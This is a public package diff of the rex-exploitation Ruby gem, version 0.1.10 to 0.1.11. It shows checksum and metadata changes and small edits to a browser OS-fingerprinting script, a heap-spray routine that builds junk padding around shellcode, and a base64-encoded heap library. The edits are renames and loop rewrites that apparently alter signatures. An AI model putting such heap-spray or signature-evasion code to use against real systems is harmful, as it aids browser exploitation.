rex-exploitation 0.1.10 → 0.1.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (9) hide show
  1. checksums.yaml +4 -4
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +0 -0
  4. data/data/js/detect/os.js +6 -6
  5. data/data/js/memory/property_spray.js +2 -1
  6. data/lib/rex/exploitation/heaplib.js.b64 +3 -2
  7. data/lib/rex/exploitation/version.rb +1 -1
  8. metadata +2 -2
  9. metadata.gz.sig +0 -0
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: abf1612b6de15d21c4d0364fe4fea354c5cfc4ee
4
- data.tar.gz: 9f7b075087eeab3c2cddfc21099df57407c4b33f
3
+ metadata.gz: 45940b1990fb22c0fb3459d49c3d8a8a3849840c
4
+ data.tar.gz: ee825e91fc633817f4821c09837d4fb7f7db5976
5
5
  SHA512:
6
- metadata.gz: 1614771fd69f7ed43b01a2f926a703febb3604af800b997c40907e3a33aeadb2813aa77c7a16ec86405d8623927ff2431d4de64d4eaa3a3698b097a2965cddb0
7
- data.tar.gz: 437a238451bedb9613b93795000fe7f08bf980e9835ad533b04bcfc9b8bb88decf836ad5dc990cb9d1d465be6a58e0db05a269f4f1c076764147a572332929ec
6
+ metadata.gz: c3072b0583cc235df16848ccddb4e9ec21bb86918c1ef9b6473c3030ef13bf1fb3b0f9f7faaa9f41e197a545a78df314562e672895efbb4dd23c81feea99a269
7
+ data.tar.gz: 77cdcabefffb9c49605ae5625a2172d22a8b237a70c35031c31e407f783237926a0b4fd233cdf6ee01d1ff7b0a8de133c0d707642a69129a1de12f1d63102684
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
data/data/js/detect/os.js CHANGED
@@ -44,7 +44,7 @@ os_detect.getVersion = function(){
44
44
  var arch = "";
45
45
  var useragent = navigator.userAgent;
46
46
  // Trust but verify...
47
- var ua_is_lying = false;
47
+ var lying = false;
48
48
 
49
49
  var version = "";
50
50
  var unknown_fingerprint = null;
@@ -75,7 +75,7 @@ os_detect.getVersion = function(){
75
75
  if (window.opera) {
76
76
  ua_name = clients_opera;
77
77
  if (!navigator.userAgent.match(/Opera/)) {
78
- ua_is_lying = true;
78
+ lying = true;
79
79
  }
80
80
  // This seems to be completely accurate, e.g. "9.21" is the return
81
81
  // value of opera.version() when run on Opera 9.21
@@ -209,7 +209,7 @@ os_detect.getVersion = function(){
209
209
 
210
210
  ua_version = this.searchVersion(search, navigator.userAgent);
211
211
  if (!ua_version || 0 == ua_version.length) {
212
- ua_is_lying = true;
212
+ lying = true;
213
213
  }
214
214
  } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
215
215
  // Use taintEnabled to identify FF since other recent browsers
@@ -369,7 +369,7 @@ os_detect.getVersion = function(){
369
369
  ua_version = "1";
370
370
  }
371
371
  if (navigator.oscpu != navigator.platform) {
372
- ua_is_lying = true;
372
+ lying = true;
373
373
  }
374
374
  // oscpu is unaffected by changes in the useragent and has values like:
375
375
  // "Linux i686"
@@ -708,7 +708,7 @@ os_detect.getVersion = function(){
708
708
  //--
709
709
  // Figure out the type of Windows
710
710
  //--
711
- if (!ua_is_lying) {
711
+ if (!lying) {
712
712
  version = useragent.toLowerCase();
713
713
  } else if (navigator.oscpu) {
714
714
  // Then this is Gecko and we can get at least os_name without the
@@ -801,7 +801,7 @@ os_detect.getVersion = function(){
801
801
  }
802
802
 
803
803
  this.os_name = os_name;
804
- this.ua_is_lying = ua_is_lying;
804
+ this.lying = lying;
805
805
  this.os_vendor = os_vendor;
806
806
  this.os_flavor = os_flavor;
807
807
  this.os_device = os_device;
data/data/js/memory/property_spray.js CHANGED
@@ -21,7 +21,8 @@ function sprayHeap( oArg ) {
21
21
 
22
22
  sym_div_container.style.cssText = "display:none";
23
23
  var data;
24
- junk = unescape("%u2020%u2020");
24
+ foo = "%u2020%u2020";
25
+ junk = unescape(foo);
25
26
  while (junk.length < offset+0x1000) junk += junk;
26
27
 
27
28
  data = junk.substring(0,offset) + shellcode;
data/lib/rex/exploitation/heaplib.js.b64 CHANGED
@@ -54,8 +54,8 @@ YXhBbGxvYyA9IChtYXhBbGxvYyA/IG1heEFsbG9jIDogNjU1MzUpOw0KICAg
54
54
  IHRoaXMuaGVhcEJhc2UgPSAoaGVhcEJhc2UgPyBoZWFwQmFzZSA6IDB4MTUw
55
55
  MDAwKTsNCg0KICAgIC8vIEFsbG9jYXRlIGEgcGFkZGluZyBzdHJpbmcgdGhh
56
56
  dCB1c2VzIG1heEFsbG9jIGJ5dGVzDQogICAgdGhpcy5wYWRkaW5nU3RyID0g
57
- IkFBQUEiOw0KDQogICAgd2hpbGUgKDQgKyB0aGlzLnBhZGRpbmdTdHIubGVu
58
- Z3RoKjIgKyAyIDwgdGhpcy5tYXhBbGxvYykgew0KICAgICAgICB0aGlzLnBh
57
+ IkFBQUEiOw0KDQogICAgZm9yICg7NCArIHRoaXMucGFkZGluZ1N0ci5sZW5n
58
+ dGgqMiArIDIgPCB0aGlzLm1heEFsbG9jOykgew0KICAgICAgICB0aGlzLnBh
59
59
  ZGRpbmdTdHIgKz0gdGhpcy5wYWRkaW5nU3RyOw0KICAgIH0NCiAgICANCiAg
60
60
  ICAvLyBDcmVhdGUgYW4gYXJyYXkgZm9yIHN0b3JpbmcgcmVmZXJlbmNlcyB0
61
61
  byBhbGxvY2F0ZWQgbWVtb3J5DQogICAgdGhpcy5tZW0gPSBuZXcgQXJyYXko
@@ -329,3 +329,4 @@ ICAgIHZ0YWJsZSArPSB1bmVzY2FwZSgiJXUwMDI4JXUwMDI4IikgKyAgICAv
329
329
  LyB0d28gc3ViIFtlYXhdLCBhbCBpbnN0cnVjdGlvbnMNCiAgICAgICAgICAg
330
330
  ICAgc2hlbGxjb2RlICsgaGVhcC5wYWRkaW5nKChzaXplLTEzOCkvMiAtIHNo
331
331
  ZWxsY29kZS5sZW5ndGgpOw0KDQogICAgcmV0dXJuIHZ0YWJsZTsNCn0NCg==
332
+
data/lib/rex/exploitation/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.10"
3
+ VERSION = "0.1.11"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.10
4
+ version: 0.1.11
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2017-01-31 00:00:00.000000000 Z
91
+ date: 2017-02-23 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
metadata.gz.sig CHANGED
Binary file